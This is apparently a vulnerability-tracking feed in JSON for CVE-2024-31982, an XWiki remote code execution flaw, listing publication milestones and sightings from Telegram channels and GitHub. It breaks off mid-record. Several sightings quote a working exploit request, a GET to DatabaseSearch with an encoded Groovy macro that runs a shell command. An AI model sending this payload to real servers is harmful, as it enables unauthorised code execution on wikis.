{"metadata": {"vulnerability": "cve-2024-31982", "count": 47, "kinds": {"milestone": 5, "sighting": 26, "kev": 5, "other": 11}}, "data": [{"timestamp": "2024-04-08T13:48:37.490Z", "date_only": false, "value": "2024-04-08T13:48:37.490Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2024-31982", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-04-10T17:12:47Z", "date_only": false, "value": "2024-04-10T17:12:47Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-2858-8CFX-69M9", "record": "GHSA-2858-8CFX-69M9", "field": "published"}, {"timestamp": "2024-04-10T19:38:01.879Z", "date_only": false, "value": "2024-04-10T19:38:01.879Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-31982", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-04-10T20:15:08Z", "date_only": false, "value": "2024-04-10T20:15:08Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-2858-8CFX-69M9", "record": "GHSA-2858-8CFX-69M9", "field": "database_specific.nvd_published_at"}, {"timestamp": "2024-04-10T20:15:08.463Z", "date_only": false, "value": "2024-04-10T20:15:08.463", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-31982", "record": "FKIE_CVE-2024-31982", "field": "published"}, {"timestamp": "2024-04-10T20:15:08.463Z", "date_only": false, "value": "2024-04-10T20:15:08.463", "kind": "milestone", "label": "Published", "source": "gsd \u00b7 GSD-2024-31982", "record": "GSD-2024-31982", "field": "namespaces.nvd.nist.gov.cve.published"}, {"timestamp": "2024-04-11T05:03:20.794Z", "date_only": false, "value": "2024-04-11T05:03:20.794018Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2024-31982", "record": "GSD-2024-31982", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-04-11T12:47:44.137Z", "date_only": false, "value": "2024-04-11T12:47:44.137", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2024-31982", "record": "GSD-2024-31982", "field": "namespaces.nvd.nist.gov.cve.lastModified"}, {"timestamp": "2024-06-22T21:25:43Z", "date_only": false, "value": "2024-06-22T21:25:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7744", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "f8de3f48-4dd7-4db4-b784-1d3e5be8b527", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC for CVE-2024-31982: XWiki Platform Remote Code Execution  > 14.10.20\nURL\uff1ahttps://github.com/bigb0x/CVE-2024-31982\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7744"}, {"timestamp": "2024-06-23T17:48:29Z", "date_only": false, "value": "2024-06-23T17:48:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2703", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "f48f38dd-e296-48de-b115-d2e5acfc7745", "content": "https://github.com/bigb0x/CVE-2024-31982\n\nCVE-2024-31982 PoC and Bulk Scanner\n#github  #poc", "url": "https://t.me/CNArsenal/2703"}, {"timestamp": "2024-06-23T17:48:56Z", "date_only": false, "value": "2024-06-23T17:48:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/LQwu8ZEYXYnl8TjdVl8BmfpVcDxplgyG0O97Q2Pmf1SAl48", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "22531eb8-11b3-47a4-a21a-ac83cead2136"}, {"timestamp": "2024-06-24T06:03:31Z", "date_only": false, "value": "2024-06-24T06:03:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ZeroEthical_Course/655", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "604bd75a-f39e-4d35-a723-4dbbd4cf2ae1", "content": "#exploit\n1. CVE-2024-31982:\nXWiki Platform RCE\nhttps://github.com/bigb0x/CVE-2024-31982\n\n2. CVE-2024-6267:\nSourceCodester Service Provider Management System - XSS\nhttps://github.com/sgr-xd/CVEs/blob/main/CVE-2024-6267.md", "url": "https://t.me/ZeroEthical_Course/655"}, {"timestamp": "2024-06-24T16:32:07Z", "date_only": false, "value": "2024-06-24T16:32:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/H7AOcKgSxi-cXpwrNFvnEDUm1V5K6WYNvl9YhXS8yVdJiw", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "7c86246f-b35c-4166-b114-58cdfd8a4f19"}, {"timestamp": "2024-06-24T16:49:28Z", "date_only": false, "value": "2024-06-24T16:49:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/10731", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "79bb8b12-861f-4309-93ba-109104a70354", "content": "#exploit\n1. CVE-2024-31982:\nXWiki Platform RCE\nhttps://github.com/bigb0x/CVE-2024-31982\n\n2. CVE-2024-6267:\nSourceCodester Service Provider Management System - XSS\nhttps://github.com/sgr-xd/CVEs/blob/main/CVE-2024-6267.md\n\n3. CVE-2024-36680:\nSQLi in Promokit Facebook module for PrestaShop\nhttps://security.friendsofpresta.org/modules/2024/06/18/pkfacebook.html", "url": "https://t.me/CyberSecurityTechnologies/10731"}, {"timestamp": "2024-06-27T08:57:31Z", "date_only": false, "value": "2024-06-27T08:57:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2727", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "41ef6827-2dff-4776-b17a-fb7db67ba3ea", "content": "cve-2024-31982\n\nGET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dthrow%20new%20Exception%28%27id%27.execute%28%29.text%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 HTTP/1.1\n\nGET /xwiki//bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dthrow%20new%20Exception%28%27id%27.execute%28%29.text%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 HTTP/1.1\n\nid\n\n#exploit  #poc", "url": "https://t.me/CNArsenal/2727"}, {"timestamp": "2024-06-27T08:57:48Z", "date_only": false, "value": "2024-06-27T08:57:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/10236", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "90deb29a-9828-420a-b398-4a21d4947a61", "content": "cve-2024-31982\n\nGET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dthrow%20new%20Exception%28%27id%27.execute%28%29.text%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 HTTP/1.1\n\nGET /xwiki//bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dthrow%20new%20Exception%28%27id%27.execute%28%29.text%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 HTTP/1.1\n\nid\n\n#exploit  #poc", "url": "https://t.me/realLulzSec/10236"}, {"timestamp": "2024-06-27T08:57:48Z", "date_only": false, "value": "2024-06-27T08:57:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/1075", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "b2f2f269-be5f-450e-8196-aee8f535117b", "content": "cve-2024-31982\n\nGET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dthrow%20new%20Exception%28%27id%27.execute%28%29.text%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 HTTP/1.1\n\nGET /xwiki//bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dthrow%20new%20Exception%28%27id%27.execute%28%29.text%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 HTTP/1.1\n\nid\n\n#exploit  #poc", "url": "https://t.me/realLulzSec/1075"}, {"timestamp": "2024-06-27T08:58:04Z", "date_only": false, "value": "2024-06-27T08:58:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/qpTt8hn-MNTW9GRNUGUj-EvhwsJUEwILc4glxmi3TsHm5A", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "6e790aaf-4730-4424-bc8a-5c8b08690835"}, {"timestamp": "2024-06-27T09:05:33Z", "date_only": false, "value": "2024-06-27T09:05:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Blackhat_Officials/1125", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "8de82ced-de1d-46a8-a3bd-05f605cb49d2", "content": "cve-2024-31982\n\nGET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dthrow%20new%20Exception%28%27id%27.execute%28%29.text%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 HTTP/1.1\n\nGET /xwiki//bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dthrow%20new%20Exception%28%27id%27.execute%28%29.text%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 HTTP/1.1\n\nid\n\n#exploit  #poc", "url": "https://t.me/Blackhat_Officials/1125"}, {"timestamp": "2024-07-09T12:10:30Z", "date_only": false, "value": "2024-07-09T12:10:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/xwiki/cve202431982", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "a3dbdfe2-b3ed-40da-8bfa-93c303d00398", "url": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/xwiki/cve202431982"}, {"timestamp": "2024-07-09T18:57:47.669Z", "date_only": false, "value": "2024-07-09T18:57:47.669Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GitHub_M", "record": "cve-2024-31982", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-20T19:00:50.608Z", "date_only": false, "value": "2024-08-20T19:00:50.608451Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-31982", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2024-08-20T19:00:50.608Z", "date_only": false, "value": "2024-08-20T19:00:50.608451Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-31982", "record": "FKIE_CVE-2024-31982", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-08-20T19:02:45.798Z", "date_only": false, "value": "2024-08-20T19:02:45.798Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-31982", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-29T09:08:04Z", "date_only": false, "value": "2024-08-29T09:08:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/11462", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "7065379a-321c-4d68-bb49-69622e7a7d5b", "content": "\u200aCVE-2024\u201331982: When a Simple Wiki Search Turns into a RCE Party\n\nhttps://infosecwriteups.com/cve-2024-31982-when-a-simple-wiki-search-turns-into-a-rce-party-abd9d34cf0e3?source=rss----7b722bfd1b8d---4", "url": "https://t.me/HackingInsights/11462"}, {"timestamp": "2024-11-15T18:00:06Z", "date_only": false, "value": "2024-11-15T18:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/6438", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "c480fafb-1ca4-45a2-9b09-bb99ff10b0f9", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b.\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0440\u0430\u0441\u043a\u043b\u0430\u0434 \u0442\u0430\u043a\u043e\u0439:\n\n1. \u041a\u0430\u043a \u043c\u044b \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u0438, \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 Shadowserver Foundation \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u044e\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u043c \u043d\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 D-Link NAS \u0438 Citrix Virtual Apps and Desktops.\n\n2. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Palo Alto Networks \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e 0-day \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0432\u0448\u0438\u0445\u0441\u044f \u0441\u043b\u0443\u0445\u043e\u0432 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435\u044f\u0441\u043d\u043e, \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430, \u043a\u0442\u043e \u0435\u044e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0438 \u043a\u0442\u043e \u0441\u0442\u0430\u043b \u0446\u0435\u043b\u044c\u044e \u0430\u0442\u0430\u043a. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE, \u043d\u043e \u0435\u0435 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 CVSS \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 9,3. \u041f\u043e\u043a\u0430 \u0436\u0435 Palo Alto \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430\u0434 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u0434\u0435\u0442\u0435\u043a\u0446\u0438\u0438.\n\n3. \u041f\u043e\u0437\u0438\u0442\u0438\u0432\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c \u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u043f\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043b\u0438\u0431\u043e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0436\u0438\u0432\u0443\u044e, \u043b\u0438\u0431\u043e \u0431\u0443\u0434\u0443\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u0412 \u0422\u041e\u041f\u0435 \u0437\u0430 \u043e\u043a\u0442\u044f\u0431\u0440\u044c: EoP \u0432 Windows Kernel Streaming (CVE-2024-30090), EoP \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 \u044f\u0434\u0440\u0430 Windows (CVE-2024-35250), \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows MSHTML (CVE-2024-43573), \u0430 \u0442\u0430\u043a\u0436\u0435 RCE \u0432 XWiki (CVE-2024-31982).\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043d\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c CVE-2024-43629 \u0441 CVSS 7,8, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a EoP, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Microsoft \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c PatchTuesday \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 Positive Technologies.\n\n4. watchTowr Labs \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c EoP, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e Fortinet FortiManager FortiJump, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0443\u044e \u043f\u043e \u0438\u0442\u043e\u0433\u0443 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 FortiJump Higher.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Varonis \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 \u044f\u0437\u044b\u043a\u0430 Perl \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 PostgreSQL.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-10979 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0430\u043a\u0442\u043e\u0440\u0430\u043c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b.\n\nVaronis \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u041e\u0421 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n6. \u0411\u0430\u0437\u0430 KEV\u00a0CISA \u043f\u043e\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c \u0441\u0435\u043c\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0430 \u043d\u0443\u043b\u044f \u0432 Windows \u0438\u0437 \u043f\u0430\u0442\u0447\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438, \u0434\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 PAN \u0438 Metabase GeoJSON, Cisco ASA \u0438 Atlassian Jira.\n\n\u0410 \u0432 NIST \u0441\u043c\u043e\u0433\u043b\u0438 \u043b\u0438\u0448\u044c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c NVD, \u0432\u043a\u043b\u044e\u0447\u0438\u0432 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431\u043e \u0432\u0441\u0435\u0445 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u044d\u0442\u043e\u0442 \u0433\u043e\u0434, \u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044f \u043f\u0440\u043e\u0431\u0443\u043a\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u0441 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u043c \u0431\u044d\u043a\u043b\u043e\u0433\u043e\u043c CVE, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041c\u0430\u0439\u0441\u043a\u0438\u0435 \u043e\u0431\u0435\u0449\u0430\u043d\u0438\u044f \u0432\u0441\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a \u043a\u043e\u043d\u0446\u0443 \u0433\u043e\u0434\u0430 \u0432\u0440\u044f\u0434 \u043b\u0438 \u0431\u0443\u0434\u0443\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b.\n\n7. Defiant \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e CVE-2024-10924 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8) \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Really Simple Security \u0434\u043b\u044f WordPress, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c 4 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0440\u0438\u0441\u043a\u0443 \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432 2FA.", "url": "https://t.me/true_secator/6438"}, {"timestamp": "2025-09-25T16:39:01.533Z", "date_only": false, "value": "2025-09-25T16:39:01.533Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2024-31982", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-09-25T16:39:01.533Z", "date_only": false, "value": "2025-09-25T16:39:01.533Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2024-31982", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-09-26T16:30:44Z", "date_only": false, "value": "2025-09-26T16:30:44Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-2858-8CFX-69M9", "record": "GHSA-2858-8CFX-69M9", "field": "modified"}, {"timestamp": "2025-10-18T21:02:29.319Z", "date_only": false, "value": "2025-10-18T21:02:29.319593Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m3ioph7g3v23", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "ffc0dab4-9770-4fd2-828b-86bff8157df7", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m3ioph7g3v23"}, {"timestamp": "2025-11-11T15:00:08Z", "date_only": false, "value": "2025-11-11T15:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/lbg3qz8wK-Srr-k6BvW0hDYmtpTKwvGGzCPXHWNgNmGS9PQ", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "8f6598ef-dbfe-4fd2-8709-6fd0d5a6a682"}, {"timestamp": "2026-06-17T07:29:03.547Z", "date_only": false, "value": "2026-06-17T07:29:03.547", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-31982", "record": "FKIE_CVE-2024-31982", "field": "lastModified"}, {"timestamp": "2026-07-25T15:00:19.579Z", "date_only": false, "value": "2026-07-25T15:00:19.579161Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/378", "record": "CVE-2024-31982", "field": "creation_timestamp", "uuid": "1ca4a50d-3e78-4196-9769-38bbe6a936d7", "url": "https://t.me/ZerodayAlert/378"}, {"timestamp": "2026-07-26T00:00:43.917Z", "date_only": false, "value": "2026-07-26T00:00:43.917960Z", 